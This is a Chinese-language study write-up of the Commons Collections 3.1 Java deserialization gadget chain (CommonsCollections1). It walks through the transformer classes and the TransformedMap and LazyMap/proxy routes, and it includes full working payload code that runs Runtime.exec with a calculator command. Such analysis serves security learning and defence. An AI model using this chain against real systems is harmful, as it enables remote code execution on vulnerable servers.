0%

Commonscollections1 反序列化

Commonscollections 系列反序列化学习

依赖环境

1
2
Commons Collections 3.1
jdk7或jdk8

触发流程

Payload1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

按照触发流程,调试分析,先看 InvokerTransformer 类:
image

存在一个构造方法接收3个参数,包括方法名,参数类,参数值,
存在 transform 方法,接收的参数是某个类,然后反射调用这个类,并执行通过构造方法中所获得的方法,可以看到类、方法、参数都是从外部输入,也就是说能够执行任意类的含任意参数的任意方法。
在看 ConstantTransformer 类:

image

构造方法是接收一个任意类,transform 方法是无论参数是什么,都会直接返回通过构造方法获得的任意类,
接下来是 ChainedTransformer 类:

image

构造方法是接收一个 Transformer 类数组,transform 方法是依次执行 Transformer 类数组中每一个 Transformer 类的 transform 方法,且每一个transform 方法得到的返回值,都是后面的 transform 方法的参数。
而前面说到 ConstantTransformer 类的 transform 方法无论参数是什么,都会直接返回通过构造方法获得的任意类。这就非常适合当作 Transformer 类数组的第一个元素。再加上 InvokerTransformer 类的 transform 方法能够执行任意类的含任意参数的任意方法,就能够构造出执行命令的点:

image

payload:

1
2
3
4
5
6
7
8
9
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
new InvokerTransformer("exec",new Class[] {String.class },new Object[] {"open /Applications/Calculator.app"})
};
ChainedTransformer Chain = new ChainedTransformer(transformers);
Chain.transform(1);
}

构造的 payload 也是非常巧妙,运用反射调用反射,仔细研究下的话,实际还是有点复杂的,需要对 Java 反射机制运用的非常熟练才行。
一行一行分析:
new ConstantTransformer(Runtime.class) 由之前的分析得出会返回 Runtime.class 并且作为参数会传入到下个 InvokerTransformer.transform 中,
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }) 得到 Runtime.class 参数,这里注意的是,由于传入的是 Runtime.class 是类,而不是类实例,所以 input.getClass() 得到的是 java.lang.Class,而不是 java.lang.Runtime:
image

这也是我们无法直接通过反射调用 getRuntime 方法,而需要通过反射调用反射调用getRuntime 方法的原因。这里通过反射调用 getMethod 方法,参数是 getRuntime。最后调用 getMethod 方法时,因为 invoke 的第一个参数还是 Runtime.class。所以后面能正确执行 getRuntime 方法。
image

new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]}),这里就是通过反射调用 invoke 方法,执行前面的 getMethod 方法,相当于第二层反射,真正执行的是 getRuntime,最终返回 Runtime 实例。
image

new InvokerTransformer("exec",new Class[] {String.class },new Object[] {"open /Applications/Calculator.app"}) 最后执行 Runtime 实例的 exec 方法,执行系统命令。
为了方便理解,抽象出来的代码:

1
2
3
Object a = Runtime.class.getClass().getMethod("getMethod",new Class[]{ String.class, Class[].class}).invoke(Runtime.class,"getRuntime", new Class[0]);
Object b = a.getClass().getMethod("invoke",new Class[]{ Object.class, Object[].class}).invoke(a,new Object[]{ null ,new Object[0]});
b.getClass().getMethod("exec",String.class ).invoke(b,"open /Applications/Calculator.app");

image

看看其他大佬的图:
image

总的来说,第一层反射只是外壳,里面的通过反射调用 getRuntime 方法,获取 Runtime 实例是精华。大佬就是牛逼。
继续分析,既然通过一顿操作知道了 ChainedTransformer.transform 能够执行命令,那么还需要找到能自动触发这行代码的地方。
看到反序列化的利用链 TransformedMap.checkSetValue()
image

可以看到该方法,会执行 this.valueTransformer.transform(value) ,而 this.valueTransformer 可以通过 decorate 方法进行赋值,同时也可以传入一个 map类。

TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。第一个参数为待转化的Map对象,第二个参数为Map对象内的key要经过的转化方法,第三个参数为Map对象内的value要经过的转化方法。

所以这段按照要求进行如下构造:

1
2
3
4
5
6
7
8
9
10
11
12
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open /Applications/Calculator.app"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("1", "2");
Map transformedmap = TransformedMap.decorate(map, null, transformerChain);

现在只需找到在某个类的 readObject 方法中直接或者间接调用 TransformedMap.checkSetValue() 即可。
直接看到反序列化利用链的 AnnotationInvocationHandler.readObject 方法:
image

this.memberValuesthis.type 都可以通过构造方法传入,也就是都是我们可控制的,this.memberValuesMap 类型,先不管前面的各种判断,假设都成立,定位到 $\color{rgb(255,0,0)}{var5.setValue}$,var5 就是传入 map 的一个 Entry 类,实际我们传入的是 map 的子类 TransformedMap, 而 TransformedMap 并没有 setValue 方法,所以往上追溯到其直接父类 AbstractInputCheckedMapDecorator:
image

可以看到,setValue 方法中,正好执行了 checkSetValue 方法,在父类中,checkSetValue 是抽象方法,所以会执行子类中的 checkSetValue ,也就是 TransformedMap.checkSetValue(),达到了我们想要的目的,至于具体如何执行到这个 setValue 方法,涉及到 Map 里的静态内部类 MapEntryEntrySet和其他方法的联动,就不再赘述了。
重新整理 payload,加上利用 AnnotationInvocationHandler.readObject的部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open /Applications/Calculator.app"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("1", "2");
Map transformedmap = TransformedMap.decorate(map, null, transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(注解类,transformedmap);

现在就剩下最后一个问题了,就是如何满足 readObject 中的各种条件,重新看到该方法:
image

从构造方法可以看出 this.type 是注解类,
var2 = AnnotationType.getInstance(this.type) 是获取该注解类的详细信息,
Map var3 = var2.memberTypes(); 获取该注解类的成员变量的名称及类型,这里需要对 java 的注解有个基本了解,以 javax.xml.ws.Action 这个注解为例,

1
2
3
4
5
6
7
8
9
10
@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.METHOD)
public @interface Action {

//input是成员变量,String 是其类型,默认值是""
String input() default "";
String output() default "";
FaultAction[] fault() default { };
}

接下来就是对传入的 this.memberValuesthis.type 相互校验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
// var6 是 传入 map 的 key 值
String var6 = (String)var5.getKey();
// var7 是根据 var6 取出的 注解成员变量的类,
Class var7 = (Class)var3.get(var6);
// var7 不为空,也就是说传入 map 的 key 必须是传入注解类的 成员变量名
if (var7 != null) {
Object var8 = var5.getValue();
//传入 map 的 value 值必须不是传入注解类的成员变量的类的实例化对象,
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}

很明显的看出传入的 map 类和注解类要满足相关的条件,假设传入的注解类是 javax.xml.ws.Action ,那么按照以上分析的要求,map 的操作可以是map.put("input", 1);
最终的 payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open /Applications/Calculator.app"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("input", 1);
Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);

Object ins = cons.newInstance(javax.xml.ws.Action.class,transformedmap);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("tmp.cer"));
outputStream.writeObject(ins);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("tmp.cer"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}

image

Payload2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

ChainedTransformer.transform() 往下之前都分析过了,直接看到 LazyMap.get()
image

get 方法中,当 map 不包含 key 时,会执行 this.factory.transform(key),其中 this.factory 是传入的 Transformer 类,这和下面的 ChainedTransformer 利用链就可以联动了。
代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open /Applications/Calculator.app"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
//调用 decorate 方法,返回 LazyMap 的实例
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
lazyMap.get("A");

image

接下来是 Map(Proxy).entrySet()
这里需要些 Java 动态代理的知识。简单的说,就是使用 JDK 动态代理时,会调用动态代理类的 invoke 方法,
而每一个动态代理类都必须要实现 InvocationHandler 这个接口,在看 AnnotationInvocationHandler ,就是一个动态代理类,
image

看到它的 invoke 方法,其中就有 Object var6 = this.memberValues.get(var4);,如果 this.memberValues 是构造好的 LazyMap 就能执行 LazyMap.get()了。
如何完成动态代理呢?一般通过 ProxynewProxyInstance 完成动态代理

public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h) throws IllegalArgumentException

loader: 定义了由哪个ClassLoader对象来对生成的代理对象进行加载,
interfaces: 将要给需要代理的对象提供一组什么接口,
h: 要调用实现的那种接口中的方法,会跳转到由这个代理对象关联到的 handler 中的invoke方法去执行,

很明显,动态代理的 InvocationHandler 就是 AnnotationInvocationHandler 了。

继续看 AnnotationInvocationHandler.readObject
image

其中有 Map(Proxy).entrySet() 对应到了 this.memberValues.entrySet().iterator(),也可以从 AnnotationInvocationHandler 的构造方法可以看出 this.memberValuesMap 类。如果反序列化入口点只能是 AnnotationInvocationHandler 类的话,那么最明显的思路就是初始化 AnnotationInvocationHandler 类的 Map 是经过传入 lazyMapAnnotationInvocationHandler 实例动态代理的 Map。稍微有点绕口,代码比较清晰。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler)
//初始化AnnotationInvocationHandler,传入特殊构造的lazyMap
//这个AnnotationInvocationHandler实例,是作为动态代理的handler,
//所以,当执行代理对象的接口方法时,会关联到 handler 的 invoke 方法去执行
handler_constructor.newInstance(Override.class,lazyMap);


//使用之前的 handler 处理动态代理 Map 对象
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);

//这里的AnnotationInvocationHandler是作为反序列化readObject的入口点
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);

完整 Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open /Applications/Calculator.app"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
HashMap innermap = new HashMap();
Map lazyMap = LazyMap.decorate(innermap, transformerChain);

//初始化AnnotationInvocationHandler,传入特殊构造的lazyMap
//这个AnnotationInvocationHandler实例,是作为动态代理的handler,
//所以,当执行代理对象的接口方法时,会关联到 handler 的 invoke 方法去执行
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,lazyMap); //创建第一个代理的handler

//使用之前的 handler 处理动态代理 Map 对象
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象

//这里的AnnotationInvocationHandler是作为反序列化 readObject 的入口点
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);

image